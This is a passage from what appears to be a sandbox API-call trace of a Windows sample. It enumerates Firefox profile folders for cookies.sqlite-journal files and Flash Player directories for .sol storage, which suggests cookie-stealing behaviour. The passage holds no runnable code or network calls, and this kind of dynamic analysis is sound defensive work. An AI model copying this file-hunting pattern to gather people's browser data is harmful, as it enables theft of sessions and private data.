lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed\\*", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0111.648] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.649] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.649] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0111.649] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0111.649] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91b60 | out: hHeap=0x9770000) returned 1 [0111.649] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91aa0 | out: hHeap=0x9770000) returned 1 [0111.649] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0111.649] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="toFetch", cAlternateFileName="")) returned 1 [0111.649] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.649] lstrlenW (lpString="toFetch") returned 7 [0111.649] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave", pszFile="toFetch" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch" [0111.649] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91840 [0111.649] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5a [0111.649] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb4) returned 0x9a91aa0 [0111.649] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch", lpDst=0x9a91aa0, nSize=0x5a | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch") returned 0x5a [0111.649] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch") returned 89 [0111.649] lstrlenW (lpString="cookies.sqlite-journal") returned 22 [0111.649] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91b60 [0111.649] PathCombineW (in: pszDest=0x9a91b60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch", pszFile="cookies.sqlite-journal" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch\\cookies.sqlite-journal") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch\\cookies.sqlite-journal" [0111.649] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch\\cookies.sqlite-journal", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0111.649] PathCombineW (in: pszDest=0x9a91b60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch\\*" [0111.649] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\toFetch\\*", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0111.649] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.649] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.649] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0111.650] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0111.650] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91b60 | out: hHeap=0x9770000) returned 1 [0111.650] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91aa0 | out: hHeap=0x9770000) returned 1 [0111.650] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0111.650] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="toFetch", cAlternateFileName="")) returned 0 [0111.650] FindClose (in: hFindFile=0x4466580 | out: hFindFile=0x4466580) returned 1 [0111.650] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e530 | out: hHeap=0x9770000) returned 1 [0111.650] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0111.650] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0111.650] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f69dbc0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe2342590, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe2342590, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapps", cAlternateFileName="")) returned 1 [0111.650] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.650] lstrlenW (lpString="webapps") returned 7 [0111.650] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="webapps" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps" [0111.650] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0111.650] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x54 [0111.650] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa8) returned 0x9a6e480 [0111.650] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps", lpDst=0x9a6e480, nSize=0x54 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps") returned 0x54 [0111.650] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps") returned 83 [0111.650] lstrlenW (lpString="cookies.sqlite-journal") returned 22 [0111.650] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e530 [0111.650] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps", pszFile="cookies.sqlite-journal" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps\\cookies.sqlite-journal") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps\\cookies.sqlite-journal" [0111.650] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps\\cookies.sqlite-journal", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0111.650] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps\\*" [0111.650] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\webapps\\*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f69dbc0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe2342590, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe2342590, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466580 [0111.651] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f69dbc0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe2342590, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe2342590, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.651] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.651] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe2342590, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe2342590, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe2342590, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapps.json", cAlternateFileName="WEBAPP~1.JSO")) returned 1 [0111.651] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.651] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe2342590, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe2342590, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe2342590, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapps.json", cAlternateFileName="WEBAPP~1.JSO")) returned 0 [0111.651] FindClose (in: hFindFile=0x4466580 | out: hFindFile=0x4466580) returned 1 [0111.651] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e530 | out: hHeap=0x9770000) returned 1 [0111.651] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0111.651] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0111.651] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41a06300, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41a06300, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xfecda5a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="webappsstore.sqlite", cAlternateFileName="WEBAPP~1.SQL")) returned 1 [0111.651] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.651] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41a06300, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x41a06300, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xfecda5a0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="webappsstore.sqlite", cAlternateFileName="WEBAPP~1.SQL")) returned 0 [0111.651] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0111.651] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e010 | out: hHeap=0x9770000) returned 1 [0111.651] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0111.651] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc10 | out: hHeap=0x9770000) returned 1 [0111.651] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xe1ffc750, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe1ffc750, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 0 [0111.651] FindClose (in: hFindFile=0x4466880 | out: hFindFile=0x4466880) returned 1 [0111.651] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fa00 | out: hHeap=0x9770000) returned 1 [0111.651] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770f10 | out: hHeap=0x9770000) returned 1 [0111.651] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770cb0 | out: hHeap=0x9770000) returned 1 [0111.651] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x48) returned 0x9b6dd20 [0111.651] mbstowcs (in: _Dest=0x9b6dd20, _Source="%APPDATA%", _MaxCount=0xa | out: _Dest="%APPDATA%") returned 0x9 [0111.651] lstrcatW (in: lpString1="%APPDATA%", lpString2="\\Macromedia\\Flash Player\\" | out: lpString1="%APPDATA%\\Macromedia\\Flash Player\\") returned="%APPDATA%\\Macromedia\\Flash Player\\" [0111.651] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9770cb0 [0111.651] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Macromedia\\Flash Player\\", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3b [0111.652] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x76) returned 0x9770f10 [0111.652] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Macromedia\\Flash Player\\", lpDst=0x9770f10, nSize=0x3b | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned 0x3b [0111.652] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\") returned 58 [0111.652] lstrlenW (lpString="*.sol") returned 5 [0111.652] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fa00 [0111.652] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\", pszFile="*.sol" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\*.sol") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\*.sol" [0111.652] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\*.sol", lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="3Y2JOH~1.DEF")) returned 0xffffffffffffffff [0111.652] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\*" [0111.652] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ea00960, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x3ea00960, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x3ea00960, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466880 [0111.652] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ea00960, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x3ea00960, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x3ea00960, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.652] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.652] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9770cb0 | out: lpFindFileData=0x9770cb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ea00960, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x57d9fbc0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x57d9fbc0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0111.652] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.652] lstrlenW (lpString="macromedia.com") returned 14 [0111.652] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\", pszFile="macromedia.com" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0111.653] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9b6fc10 [0111.653] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x49 [0111.653] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x92) returned 0x9a6e990 [0111.653] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpDst=0x9a6e990, nSize=0x49 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned 0x49 [0111.653] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned 72 [0111.653] lstrlenW (lpString="*.sol") returned 5 [0111.653] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e010 [0111.653] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", pszFile="*.sol" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*.sol") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*.sol" [0111.653] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*.sol", lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="WEBAPP~1.SQL")) returned 0xffffffffffffffff [0111.653] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*" [0111.653] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ea00960, ftCreationTime.dwHighDateTime=0x1d2f18d, ftLastAccessTime.dwLowDateTime=0x57d9fbc0, ftLastAccessTime.dwHighDateTime=0x1d2f18d, ftLastWriteTime.dwLowDateTime=0x57d9fbc0, ftLastWriteTime.dwHighDateTime=0x1d2f18d, 